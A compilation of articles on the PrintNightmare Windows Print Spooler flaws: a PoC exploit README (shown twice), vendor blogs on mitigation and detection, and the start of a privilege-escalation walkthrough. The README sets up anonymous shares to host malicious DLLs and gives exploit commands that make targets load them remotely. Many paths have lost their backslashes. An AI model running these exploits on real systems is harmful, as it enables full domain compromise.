Windows print spooler print nightmare rce

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits - GitHub - nemo-wq/PrintNightmare-CVE-2021-34527: PrintNightmare - Windows Pri...

PrintNightmare — Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675)

Summary

This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service. An attacker could then use that access to create new accounts, attempt to install programs; view, change, or delete data; or create new accounts with full user rights.

This vulnerability exists due to an authorisation bypass bug in the Print Spooler service spoolsv.exe on Windows systems, which allows authenticated remote users to install print drivers using the RPC call RpcAddPrinterDriver and specify a driver file located on a remote location. A malicious user exploiting this could obtain SYSTEM level privileges on a Windows system running this service by injecting malicious DLLs as part of installing a print driver.

While Microsoft has released an update for CVE-2021-1675, this update does not protect Active Directory domain controllers or Windows systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.

There are three PoC exploit implementations in this repo:

  • CVE-2021-34527 python script by cube0x0
  • SharpPrintNightmare by cube0x0
  • EXP by afwu (Printnightmare)

Technical Details

Affected Systems

  • All versions of Windows contain the vulnerable code and are vulnerable as of 4th July 2021. The exploits have been tested on Windows Windows 2019 Server & Windows 10 Pro.

Proof of Concept Exploits

As the RPC service allows the client machine to provide a location for the print drivers to be downloaded by the remote server, the following example options can be used to host the payload and the path provided when running the exploit:

Samba Share Setup

  • Unix/Linux:

    In order to set up guest access in Samba, you need to set up a user that it will pretend to log in as. Ensure that there exists a user smbuser in the system, otherwise create one with password password

    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Edit the /etc/samba/smb.conf and enable anonymous access

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    mkdir C:share
    icacls C:share /T /grant Anonymous` logon:r
    icacls C:share /T /grant Everyone:r
    New-SmbShare -Path C:share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLMSystemCurrentControlSetControlLsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLMSystemCurrentControlSetControlLsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

The below are slightly updated instructions from the ones provided by cube0x0:

CVE-2021-34527 python script

This is the Impacket implementation of the Printnightmare exploit by cube0x0.
Before running the exploit you need to install a modified version of Impacket:

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Exploit Usage:

Exploit code for this vulnerability needs to be run using Python 3

usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\10.10.10.10shareevil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:Pass123@192.168.1.10 '\192.168.1.215smbaddCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:Pass123@192.168.1.10 'C:addCube.dll'

SharpPrintNightmare

The SharpPrintNightmare/ directory contains the C# Implementation of the Printnightmare exploit, for both Local Privilege Escalation (LPE) (CVE-2021-1675), as well as Remote Code Execution (RCE).
The RCE functionality requires execution with local admin privileges on the machine running the exploit.

Exploit Usage:

#LPE
C:SharpPrintNightmare.exe C:addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\192.168.1.215smbaddCube.dll' 'C:WindowsSystem32DriverStoreFileRepositoryntprint.inf_amd64_addb31f9bff9e936Amd64UNIDRV.DLL' '\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\192.168.1.215smbaddCube.dll' 'C:WindowsSystem32DriverStoreFileRepositoryntprint.inf_amd64_83aa9aebf5dffc96Amd64UNIDRV.DLL' '\192.168.1.10' domain.local domain_username password

EXP/ Usage instructions from afwu

Exploit Usage:

.PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.PrintNightmare.exe 192.168.5.129 \192.168.5.197testMyExploit.dll user2 test123##

Mitigation/Workarounds

Determine if the Print Spooler service is running

Run the following:

Get-Service -Name Spooler

If the Print Spooler is running or if the service is not set to disabled, select one of the following options to either disable the Print Spooler service, or to Disable inbound remote printing through Group Policy:

Option 1 — Disable the Print Spooler service

If disabling the Print Spooler service is appropriate for your enterprise, use the following PowerShell commands (recommendation from Microsoft):

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

or Disable Spooler service using registry

Stop-Service Spooler
REG ADD  "HKLMSYSTEMCurrentControlSetServicesSpooler"  /v "Start" /t REG_DWORD /d "4" /f

or Uninstall Print-Services

Uninstall-WindowsFeature Print-Services

This will disable the ability to print both locally and remotely.

Option 2 — Disable inbound remote printing through Group Policy

You can also configure the settings via Group Policy as follows:

Computer Configuration / Administrative Templates / Printers

Disable the “Allow Print Spooler to accept client connections:” policy to block remote attacks.

This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.

For more information see: Use Group Policy settings to control printers.

Acknowledgements

  • According to MSRC security bullion, this vulnerability is reported by Zhipeng Huo, Piotr Madej and Zhang Yunhai.
  • cube0x0
  • afwu

В конце июня исследователи по безопасности начали активно обсуждать уязвимость в диспетчере очереди печати Windows (Print Spooler), получившую название PrintNightmare. Изначально предполагалось, что июньский патч от Microsoft, вышедший в очередной вторник патчей, избавляет от этой проблемы. Однако сейчас стало очевидно, что на самом деле речь идет о двух уязвимостях — CVE-2021-1675 и CVE-2021-34527, и заплатка помогает только против первой. При этом потенциально злоумышленники могут использовать их для захвата контроля над любым сервером или компьютером на базе Windows, поскольку диспетчер очереди печати включен по умолчанию на всех системах. Microsoft официально относит название PrintNightmare только ко второй уязвимости, но во многих источниках обе проходят под одним кодовым именем.

Впрочем, есть и хорошие новости: наши эксперты внимательно изучили уязвимости и убедились, что теперь защитные продукты «Лаборатории Касперского» успешно выявляют попытки эксплуатации этих уязвимостей и защищают от них — в частности, благодаря технологиям предотвращения эксплуатации уязвимостей и защиты на основе анализа поведения.

Почему уязвимость PrintNightmare особенно опасна

Тут играют роль два фактора. Во-первых, как уже отмечено выше, сервис Windows Print Spooler по умолчанию включен на всех Windows-системах. В том числе, например, на контроллерах доменов и на машинах с правами администраторов системы.

Во-вторых, из-за недопонимания между несколькими командами исследователей и, похоже, в целом по случайности в сети были опубликованы материалы, демонстрирующие возможность эксплуатации PrintNightmare (proof of concept). Исследователи были уверены, что проблема уже решена июньским патчем, — и поспешили поделиться своим исследованием с сообществом экспертов. Но выяснилось, что, несмотря на обновление, эксплойт все еще представляет опасность, поскольку уязвимостей оказалось не одна, а две. PoC незамедлительно удалили, но многие успели с ними ознакомиться. Вероятно, среди этих многих были и злоумышленники. Так что эксперты «Лаборатории Касперского» предвидят рост попыток эксплуатации PrintNightmare.

Что за уязвимости и чем чревата их эксплуатация

CVE-2021-1675 относится к классу уязвимостей эскалации привилегий. Благодаря ей атакующий с правами обычного пользователя может применить специально созданный вредоносный DLL-файл, чтобы запустить эксплойт. Но для эксплуатации ему уже необходимо находиться на уязвимой машине. Microsoft расценивает вероятность ее эксплуатации как достаточно низкую. CVE-2021-34527 гораздо опаснее: это уязвимость удаленного исполнения кода (RCE). Принцип тот же, но благодаря ей злоумышленники могут подсунуть вредоносную библиотеку удаленно. По данным Microsoft, злоумышленники уже эксплуатируют эту уязвимость. Более подробное техническое описание эксплуатации обеих уязвимостей доступно в нашем блоге Securelist.

Злоумышленники могут использовать PrintNightmare для доступа к данным, хранящимся в корпоративной инфраструктуре, и, как следствие, для атак при помощи шифровальщиков-вымогателей.

Как обезопасить свою инфраструктуру от PrintNightmare

Для начала необходимо срочно поставить патчи от Microsoft: июньский, закрывающий уязвимость CVE-2021-1675, и, самое главное, июльский, который позволяет обезопасить систему от CVE-2021-34527. Если по каким-то причинам вы не можете установить эти патчи, Microsoft предлагает два варианта обходных маневров (доступны по той же ссылке, что и патч), один из которых даже не требует отключения диспетчера очереди печати.

Тем не менее стоит подумать о том, чтобы в принципе отключить сервис диспетчера очереди печати на машинах, которым он наверняка не нужен. В частности, серверам, на которых работают контроллеры доменов, — сомнительно, что кому-то нужно печатать с них что-либо.

Кроме того, все серверы и компьютеры в корпоративной инфраструктуре должны быть снабжены защитными решениями, способными выявлять попытки эксплуатации как известных, так и до сих пор не обнаруженных уязвимостей, в том числе и PrintNightmare.

On June 29, Huntress was made aware of CVE-2021-1675 (now termed CVE-2021-34527), a critical remote code execution and local privilege escalation vulnerability dubbed “PrintNightmare.”

Microsoft released a patch on June 8 considering this vulnerability low in severity. On June 21, PrintNightmare was updated to critical severity as the potential for remote code execution was uncovered. The June 8 Microsoft patch did not successfully resolve the issue for CVE-2021-32547 PrintNightmare, but it did resolve CVE-2021-1675.

UPDATE July 07 @ 12pm ET: On July 6, Microsoft updated their advisory on CVE-2021-34527 and released emergency patches, but the effectiveness of this security update is still under scrutiny.

Members of our Huntress team have validated the new patch on Windows 21H1 Enterprise, and it has stopped local privilege escalation—however, this privilege escalation still succeeds on Windows Servers. This seemingly partial fix does look to prevent remote code execution, but not yet covers privilege escalation. According to Microsoft’s latest updates on July 6, «Updates are not yet available for Windows 10 version 1607, Windows Server 2016, or Windows Server 2012. Security updates for these versions of Windows will be released soon.»

So far, we have not seen a patch scenario that all-encompasses (1) preventing local privilege escalation, (2) preventing remote code execution and (3) allows printing.

UPDATE July 08 @ 10:18am ET: There have been requests for the technical information on the machine we had tested the patch on. On a Windows 10 21H1 Enterprise VM, it had stopped the Mimikatz implementation of local privilege escalation.

  • Get-HotFix cmdlet output

    Get-HotFix cmdlet outputget hotfix

  • systeminfo command output

    systeminfo command outputsysteminfo command output

  • The HKLMSOFTWAREPoliciesMicrosoftWindows NTPrintersPointAndPrint registry path was not present.

UPDATE July 02 @ 8:48am ET: Microsoft has now termed PrintNightmare as CVE-2021-34527, what some of us originally considered as CVE-2021-1675. The threat is still real—just had a naming confusion. Strictly 1675 was addressed in the June 8 updates but 34527/PrintNightmare still goes without a patch.

This blog post hopes to raise awareness of this vulnerability, as this is a severe security flaw affecting an incredibly large number of Windows Servers.

Note: This is still breaking news and an emerging threat. Huntress will continue to update this blog with our observations and any indicators of compromise following post-exploitation activity if discovered.

As this develops, you can (and should) stay up-to-date with the latest security advisories, headlines and threat intelligence.

UPDATE June 30 @ 5:24pm ET: We have shared this in r/msp on Reddit, please check that thread for community input and other insights.
UPDATE June 30 @ 5:28pm ET:
Added new detection information for ImageLoad and Microsoft’s previous information citing the need to prune print queues if the Print Spooler service is disabled.
UPDATE June 30 @ 9:01pm ET:
Included another option for temporary mitigation without hindering printing functionality from the Print Spooler service.
UPDATE July 01 @ 9:14am ET:
Updated to better reflect guidance from our Reddit post with new intel.
UPDATE July 02 @ 8:48am ET:
Updated to include the new Microsoft advisory for CVE-2021-34527.

What Does PrintNightmare Do?

PrintNightmare affects a native, built-in Windows service named “Print Spooler” that is enabled by default on Windows machines. In the past, Print Spooler has been targeted for other attacks and exploits, but it remains prevalent on modern operating systems. The purpose of Print Spooler is to manage printers or printer servers. Oftentimes, this is not a critical or business-essential service and can be disabled.

The impact of this attack vector lends to local privilege escalation and remote execution. 

  • Local privilege escalation means if a bad actor already has access to a compromised machine with a low privilege user account (oftentimes domain users), they can easily and immediately gain administrator or SYSTEM level rights to fully own the machine. 
  • Remote code execution means that this attack vector can be weaponized externally, from one separate computer to another. Not only does this offer an option for initial access—it readily enables lateral movement into other high-value systems (like a domain controller).

With these effects, threat actors with any non-administrator user and credential (password or NTLM hash) can rapidly gain full access to a domain controller and take over a whole domain.

This is a severe security flaw that affects an incredibly large number of Windows servers. Multiple proof-of-concept exploits have been released (Python, C++) and we’ve confirmed this vulnerability is trivial to exploit.

As this affects so many Windows servers, we strongly encourage you to take action.

What Should MSPs Do?

The June 8 patch from Microsoft does not fix this issue.

Currently, a temporary, band-aid solution is to disable the Print Spooler service. 

Note: This may have other unwanted implications if your organization prints things to PDF before sending them in emails, like for payroll purposes or other use cases.

If disabling the Print Spooler service is appropriate for your organization, you can do this on a single machine with a few PowerShell commands:

Stop-Service -Name Spooler -Force 
Set-Service -Name Spooler -StartupType Disabled

With your RMM solution or PSRemoting, this can be fanned out to multiple hosts.

This can also be configured via Group Policy, under…

Policies/Windows Settings/Security Settings/System Services/Print Spooler

We advise you to monitor log entries in Microsoft-Windows-PrintService/Admin to find potential evidence of exploitation. Entries with error messages failing to load plug-in module DLLs could be an indicator, but if a threat actor packaged a legitimate DLL that Print Spooler would demand, this error is not logged.

For visibility on these logs, ensure that you have Microsoft-Windows-PrintService/Operational logging enabled.

UPDATE June 29 5:28pm ET: Organizations may not have logging for Print Service operations enabled and may have difficulty enabling them site-wide. If you cannot readily enable that logging, another option is to look for the use of ImageLoad (Event ID 7) with the `spoolsv.exe` process. Researchers have shared Sigma rules to help detect this.

Microsoft has shared previous information regarding the Print Spooler service and explains that disabling it does carry the trade-off between security and the ability to perform print pruning. Their note explains that “to mitigate the side-effects of disabling the print service, you can work to prune stale print queue objects either manually or with an automated script.”

UPDATE June 29 @ 9:01pm ET: Disabling the Print Spooler service and stopping printing altogether is certainly impractical for some businesses. While it is one option for a subpar band-aid fix, another option without disabling the service is restricting the access controls (ACLs) in the directory that the exploit uses to drop malicious DLLs. This method was brought to light by the team at TrueSec, and we, alongside the community, offer kudos and props for their efforts.

Changing the ACLs prevents rogue DLLs from being placed by the targeted print spooler service and still maintains the service functionality. Note: You will not be able to install/uninstall/make changes to your printer drivers while this ACL is in place, and some Citrix users have reported printing issues with this method.

PowerShell code to constrain the ACL is below:

$Path = "C:WindowsSystem32spooldrivers"
$ACL = Get-Acl $Path
$NewRule = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny")
$ACL.AddAccessRule($NewRule)
Set-Acl $Path $ACL

Below is a video demonstration of this ACL in effect, preventing the proof of concept from dropping a malicious DLL.

To remove the ACL via PowerShell deployment (shoutout and kudos to community member u/bclimer in our Reddit thread):

$Path = "C:WindowsSystem32spooldrivers"
$ACL = Get-Acl $Path
$NewRule = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny")
$ACL.RemoveAccessRule($NewRule)
Set-Acl $Path $ACL

For other technical details:

  • Follow our live forensics thread in the comments of our Reddit thread

  • Check out Kevin Beaumont’s solid explainer blog

  • Consider Lares’ detection config if you’re a Sysmon shop

Fellow researchers have also shared detection rules and techniques to have better visibility on attacks weaponizing PrintNightmare.

What Is Huntress Doing?

We’ve completed our first review and all 34,000+ networks are looking clean so far. We will continue to share if we see post-exploitation activity. We’re also keeping a close eye on the ability to craft directory traversing payload paths outside of the previously listed folders (doesn’t appear to bypass the ACL technique or Olaf Hartung’s Defender for Endpoints KQL)

Other security researchers, including Mimikatz author Benjamin Delpy, are observing funky vulnerability behavior (some fully patched servers are not vulnerable until promoted to a domain controller). We’re also noticing that sometimes repeated successful exploitation attempts don’t always get logged within Microsoft-Windows-PrintService/Admin. (Possible caching?)

The Huntress agent specifically monitors for hacker activity indicated by the presence of persistence and persistent footholds, like backdoors or implants.

PrintNightmare on its own does not create a persistent foothold, but with the impact of privilege escalation and code execution, it offers the ability for later post-exploitation and persistence.

Two public PoCs have dropped on GitHub (PythonC++). Our team has reviewed the source code for each and confirmed both successfully exploit Server 2016 and Server 2019 systems. We haven’t experimented on all Windows operating systems, but Microsoft’s CVE announcement states Windows 7, 8, 8.1, 10 and Server 2008, 2008 R2, 2012, and 2012 R2 are impacted).

For those technical folks who want to follow along, our team is diving into the exploit’s behaviors to help us determine if any Huntress partners have been compromised. Here’s a filtered view of spoolsv.exe in ProcMon.

PrintNightmare 1 Fetching the malicious DLL from attacker SMB share

PrintNightmare 2

Python PoC attempting to find temp destination for the malicious DLL

PrintNightmare 3
Finds the malicious DLL (and executes it)

From this quick analysis, we learned there’s a handful of directories we can monitor for dropped payloads:

  • C:WindowsSystem32spooldriversx643

  • C:WindowsSystem32spooldriversx643old

  • C:WindowsSystem32spooldriversx643new

Enabling the Microsoft-Windows-PrintService/Operational event log (disabled by default) and monitoring for event ID 316 yields solid detection results in our lab testing regardless of whether the exploit is successful. Fellow security researcher Jake Williams has seen the same success and recommended the following PowerShell snippet:

$logDeets = Get-LogProperties 'Microsoft-Windows-PrintService/Operational'
$logDeets.Enabled = $true
Set-LogProperties -LogDetails $logDeets

Needless to say, lots of hunting going down. 😉

Huntress will remain on the lookout for updates and other threat intelligence as it develops and will continue to update this article.

Learn More: Research and Intelligence

The information security community stands on the shoulders of giants. That means the whole industry plays in concert to share knowledge, resources and understanding. Huntress has no intention of being your sole provider as there is a whole world of actionable information.

As this news develops, we encourage you to follow the research and intelligence from others in our industry and the information security community. It takes a village.

  • PrintNightmare thread on Reddit
  • Kevin Beaumont’s validation and observations
  • Will Dormann’s advisory
  • Benjamin Delpy’s advisory
  • Florian Roth’s observations
  • Jeff McJunkin’s advisory
  • Blog from Tenable
  • HelpNetSecurity’s advisory
  • SecurityAffairs’ advisory
  • Security Week’s advisory

PrintNightmare — Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675)

Summary

This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service. An attacker could then use that access to create new accounts, attempt to install programs; view, change, or delete data; or create new accounts with full user rights.

This vulnerability exists due to an authorisation bypass bug in the Print Spooler service spoolsv.exe on Windows systems, which allows authenticated remote users to install print drivers using the RPC call RpcAddPrinterDriver and specify a driver file located on a remote location. A malicious user exploiting this could obtain SYSTEM level privileges on a Windows system running this service by injecting malicious DLLs as part of installing a print driver.

While Microsoft has released an update for CVE-2021-1675, this update does not protect Active Directory domain controllers or Windows systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.

There are three PoC exploit implementations in this repo:

  • CVE-2021-34527 python script by cube0x0
  • SharpPrintNightmare by cube0x0
  • EXP by afwu (Printnightmare)

Technical Details

Affected Systems

  • All versions of Windows contain the vulnerable code and are vulnerable as of 4th July 2021. The exploits have been tested on Windows Windows 2019 Server & Windows 10 Pro.

Proof of Concept Exploits

As the RPC service allows the client machine to provide a location for the print drivers to be downloaded by the remote server, the following example options can be used to host the payload and the path provided when running the exploit:

Samba Share Setup

  • Unix/Linux:

    Edit the /etc/samba/smb.conf and enable anonymous access

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    mkdir C:share
    icacls C:share /T /grant Anonymous` logon:r
    icacls C:share /T /grant Everyone:r
    New-SmbShare -Path C:share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLMSystemCurrentControlSetServicesLanManServerParameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLMSystemCurrentControlSetControlLsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLMSystemCurrentControlSetControlLsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

The below are slightly updated instructions from the ones provided by cube0x0:

CVE-2021-34527 python script

This is the Impacket implementation of the Printnightmare exploit by cube0x0. Before running the exploit you need to install a modified version of Impacket:

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Exploit Usage:

Exploit code for this vulnerability needs to be run using Python 3

usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]
  share                 Path to DLL. Example '\10.10.10.10shareevil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\192.168.1.215smbaddCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:addCube.dll'

SharpPrintNightmare

The SharpPrintNightmare/ directory contains the C# Implementation of the Printnightmare exploit, for both Local Privilege Escalation (LPE) (CVE-2021-1675), as well as Remote Code Execution (RCE). The RCE functionality requires execution with local admin privileges on the machine running the exploit.

Exploit Usage:

#LPE
C:SharpPrintNightmare.exe C:addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\192.168.1.215smbaddCube.dll' 'C:WindowsSystem32DriverStoreFileRepositoryntprint.inf_amd64_addb31f9bff9e936Amd64UNIDRV.DLL' '\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\192.168.1.215smbaddCube.dll' 'C:WindowsSystem32DriverStoreFileRepositoryntprint.inf_amd64_83aa9aebf5dffc96Amd64UNIDRV.DLL' '\192.168.1.10' domain.local domain_username password

EXP/ Usage instructions from afwu

Exploit Usage:

.PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.PrintNightmare.exe 192.168.5.129 \192.168.5.197testMyExploit.dll user2 test123##

Mitigation/Workarounds

Determine if the Print Spooler service is running

Run the following:

Get-Service -Name Spooler

If the Print Spooler is running or if the service is not set to disabled, select one of the following options to either disable the Print Spooler service, or to Disable inbound remote printing through Group Policy:

Option 1 — Disable the Print Spooler service

If disabling the Print Spooler service is appropriate for your enterprise, use the following PowerShell commands (recommendation from Microsoft):

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

or Disable Spooler service using registry

Stop-Service Spooler
REG ADD  "HKLMSYSTEMCurrentControlSetServicesSpooler"  /v "Start" /t REG_DWORD /d "4" /f

or Uninstall Print-Services

Uninstall-WindowsFeature Print-Services

This will disable the ability to print both locally and remotely.

Option 2 — Disable inbound remote printing through Group Policy

You can also configure the settings via Group Policy as follows:

Computer Configuration / Administrative Templates / Printers

Disable the “Allow Print Spooler to accept client connections:” policy to block remote attacks.

This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.

For more information see: Use Group Policy settings to control printers.

Acknowledgements

  • According to MSRC security bullion, this vulnerability is reported by Zhipeng Huo, Piotr Madej and Zhang Yunhai.
  • cube0x0
  • afwu

A conceptual image representing a threat brief, such as this post, covering CVE-2021-34527

This post is also available in:
日本語 (Japanese)

Executive Summary

On July 1, 2021, Microsoft released a security advisory for a new remote code execution (RCE) vulnerability in Windows, CVE-2021-34527, referred to publicly as «PrintNightmare.” Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the Microsoft Patch Tuesday release on June 8, 2021. Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().

Systems Vulnerable to CVE-2021-34527

All Windows versions are affected by this vulnerability. Domain controllers, clients and member servers running the Print Spooler service on any Windows version are affected by this vulnerability. Microsoft has released an out-of-band update with the fixes for versions other than Windows 10 version 1607, Windows Server 2016 or Windows Server 2012. For these, the security update is expected to be released soon.

Mitigation Actions

Microsoft released an out-of-band security update to address this vulnerability on July 6, 2021. Please see the Security Updates table for the applicable update for your system. Administrators are strongly advised to install these updates. If you are unable to install these updates, see the FAQ and Workarounds sections in the CVE for information on how to help protect your system from this vulnerability. See also KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates.

Note that the security updates released on and after July 6, 2021, contain protections for CVE-2021-1675 and the additional RCE exploit in the Windows Print Spooler service known as “PrintNightmare,” documented in CVE-2021-34527.

Conclusion

Palo Alto Networks provides protection against the exploitation of this vulnerability:

  • Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8427+) can automatically block sessions related to this vulnerability (as well as CVE-2021-1675) using Threat IDs 91333, 91346 and 91349.
  • Cortex XDR agent 7.4.1 with content version 189-64538 and above is capable of preventing all currently known implementations of the exploits on vulnerable hosts, including patched hosts with the “Point and Print” feature enabled.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

Additional Resources

  • Windows Print Spooler Remote Code Execution Vulnerability
  • Hunting PrintNightMare (CVE-2021-1675) Using Cortex XDR
  • Remediating PrintNightmare (CVE-2021-1675) Using Cortex XSOAR

Get updates from
Palo Alto
Networks!

Sign up to receive the latest news, cyber threat intelligence and research from us

Introduction

Print Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.

Related CVEs:

CVE-2021-34527

Vulnerability Type     Remote Code Execution

Severity                         High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

CVE-2021-1675

Vulnerability Type     Local Privilege Escalation

Severity                         High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

Related Advisories:

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
  • https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527
  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675

Table of Content

  • Print Spooler Basics
  • Vulnerability Summary
  • Vulnerability Flow
  • Machine IPs
  • Method 1 – PrintNightmare RCE using Python
  • Method 2 – PrintNightmare LPE using Powershell
  • Method 3 – Printnightmare LPE using Mimikatz
  • Patch Status
  • Conclusion

Print Spooler Basics

Print spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:

Application: The print application creates a print job by calling Graphics Device Interface (GDI).

GDI: GDI includes both user-mode and kernel-mode components for graphics support.

winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.

spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)

spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider.

Vulnerability Summary

MS-RPRN protocol (Print System Remote Protocol) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver. Technique given by afwu.

Cube0x0 tweeted that he was able to achieve the same results by exploiting MS-PAR protocol’s RpcAsyncAddPrinterDriver() method which is similar to RpcAddPrinterDriver and loads drivers remotely. Technique can be found here.

We will use both these techniques in this demonstration article.

Vulnerability Flow

To understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:

  • Add a Printer Driver to a Server call (RpcAddPrinterDriver)
  • Client (Attacker) creates a share with printer driver files accessible
  • Client (attacker) crafts an MS-RPRN (Print System Remote Protocol) Driver container which has DRIVER_INFO_2 in it. (basically, these are variables that contain path of DLLs, type of architecture etc.)
  • Client (Attacker) calls:
    RpcAddPrinterDriver(“<name of print server>”, DriverContainer);

Security Check: When the client will call this function, system checks if the client has “SeLoadDriverPrivilege” which is by default given to administrators group.

Bypassing Security Check: AFWU mentioned in his original writeup that a user can supply the following parameters in the spooler service:

​ pDataFile =A.dll

​ pConfigFile =B.dll

​ pDriverPath=C.dll

Spooler service will copy A,B,C DLL files in C:WindowsSystem32spooldriversx643new and then load them to C:WindowsSystem32spooldriversx643

